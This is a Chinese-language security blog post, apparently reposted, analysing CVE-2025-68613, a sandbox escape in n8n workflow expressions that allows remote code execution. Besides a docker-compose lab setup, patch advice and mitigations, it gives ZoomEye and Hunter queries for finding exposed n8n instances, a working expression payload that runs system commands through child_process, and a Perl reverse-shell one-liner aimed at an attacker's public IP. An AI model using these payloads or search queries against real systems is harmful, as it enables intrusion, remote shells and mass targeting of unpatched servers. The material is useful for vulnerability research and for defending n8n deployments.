文章总结: 本文详细分析CVE-2025-68613n8n表达式沙箱逃逸漏洞,攻击者可利用恶意表达式绕过限制实现远程代码执行。文章提供漏洞原理、资产测绘语法及完整的复现步骤,包含环境搭建、Payload构造与反弹Shell技巧,并给出了官方补丁升级及权限限制等防御建议。 综合评分: 90 文章分类: 漏洞分析,漏洞POC,实战经验,WEB安全
CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞
原创
泷羽Sec静安 泷羽Sec静安
泷羽Sec-静安
2026年1月15日 18:04 云南
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。
🔬 技术分析
漏洞原理
由于 n8n 工作流表达式的评估环境未能与底层 Node.js 运行时充分隔离,导致经过身份验证的远程攻击者可在特定条件下,通过配置恶意表达式突破沙箱限制,从而直接访问并操作 Node.js 全局对象或内置模块,最终在运行 n8n 进程的服务器上以该进程权限执行任意操作系统命令。
搜索语法
n8n 平台远程代码执行漏洞(CVE-2025-68613)ZoomEye搜索app=”n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i
也可搜索端口5678或图标ico,多数默认配置都是如此。
hunter搜索语法
web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"
💣 漏洞复现
环境搭建
根据官方 docker-compose.yml[1],修改 n8n 版本为 1.71.0:
volumes:
db_storage:
n8n_storage:
services:
postgres:
image: postgres:16
restart: always
environment:
- POSTGRES_USER=n8n_user
- POSTGRES_PASSWORD=n8n_password
- POSTGRES_DB=n8n_db
- POSTGRES_NON_ROOT_USER=n8n_root
- POSTGRES_NON_ROOT_PASSWORD=n8n_root_password
volumes:
- db_storage:/var/lib/postgresql/data
- ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
healthcheck:
test: ['CMD-SHELL', 'pg_isready -h localhost -U n8n_user -d n8n_db']
interval: 5s
timeout: 5s
retries: 10
n8n:
image: docker.n8n.io/n8nio/n8n:1.71.0
restart: always
environment:
- DB_TYPE=postgresdb
- DB_POSTGRESDB_HOST=postgres
- DB_POSTGRESDB_PORT=5432
- DB_POSTGRESDB_DATABASE=n8n_db
- DB_POSTGRESDB_USER=n8n_user
- DB_POSTGRESDB_PASSWORD=n8n_password
ports:
- 5678:5678
links:
- postgres
volumes:
- n8n_storage:/home/node/.n8n
depends_on:
postgres:
condition: service_healthy
利用步骤
打开页面,随便注册一个账号。这一步对应实际渗透过程中,攻击者已经通过其他途径获得登录账号。假如n8n系统本身就是弱密码,将会让风险提高。
实际登陆界面
创建一个新的 Workflow 并添加一个 Manual Trigger 节点,添加 Edit Fields(Set) 选项:
点击 Add Field,此处需要填写 name 和 value。name 处填入任意内容,在 value 处填入以下代码,切换到 Expression。点击 Test step 测试执行:
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
部分版本也可以直接新增exec节点
直接新建一个exec节点
想要弹回shell发现没有nc也没有python,ls /bin 发现有perl, perl也可以弹
perl -e 'use Socket;$i="公网ip";$p=4777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
🛡️ 防御措施
通用修补建议
- • 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本: https://github.com/n8n-io/n8n/releases
临时缓解措施
- • 限制工作流创建和编辑权限,仅授予完全可信的用户。
- • 在加固的环境中部署 n8n,限制操作系统权限和网络访问,以减少潜在利用的影响。
🔗 参考资源
官方公告
https://www.cve.org/CVERecord?id=CVE-2025-68613
技术分析
- • https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79
- • https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000
- • https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316
- • https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
PoC/Exploit
n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613[2]
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚
引用链接
[1] docker-compose.yml: https://github.com/n8n-io/n8n-hosting/blob/main/docker-compose/withPostgres/docker-compose.yml
[2] n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613: https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/n8n%20%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2025-68613.md#n8n-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-cve-2025-68613
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-静安 泷羽Sec静安 泷羽Sec静安《CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论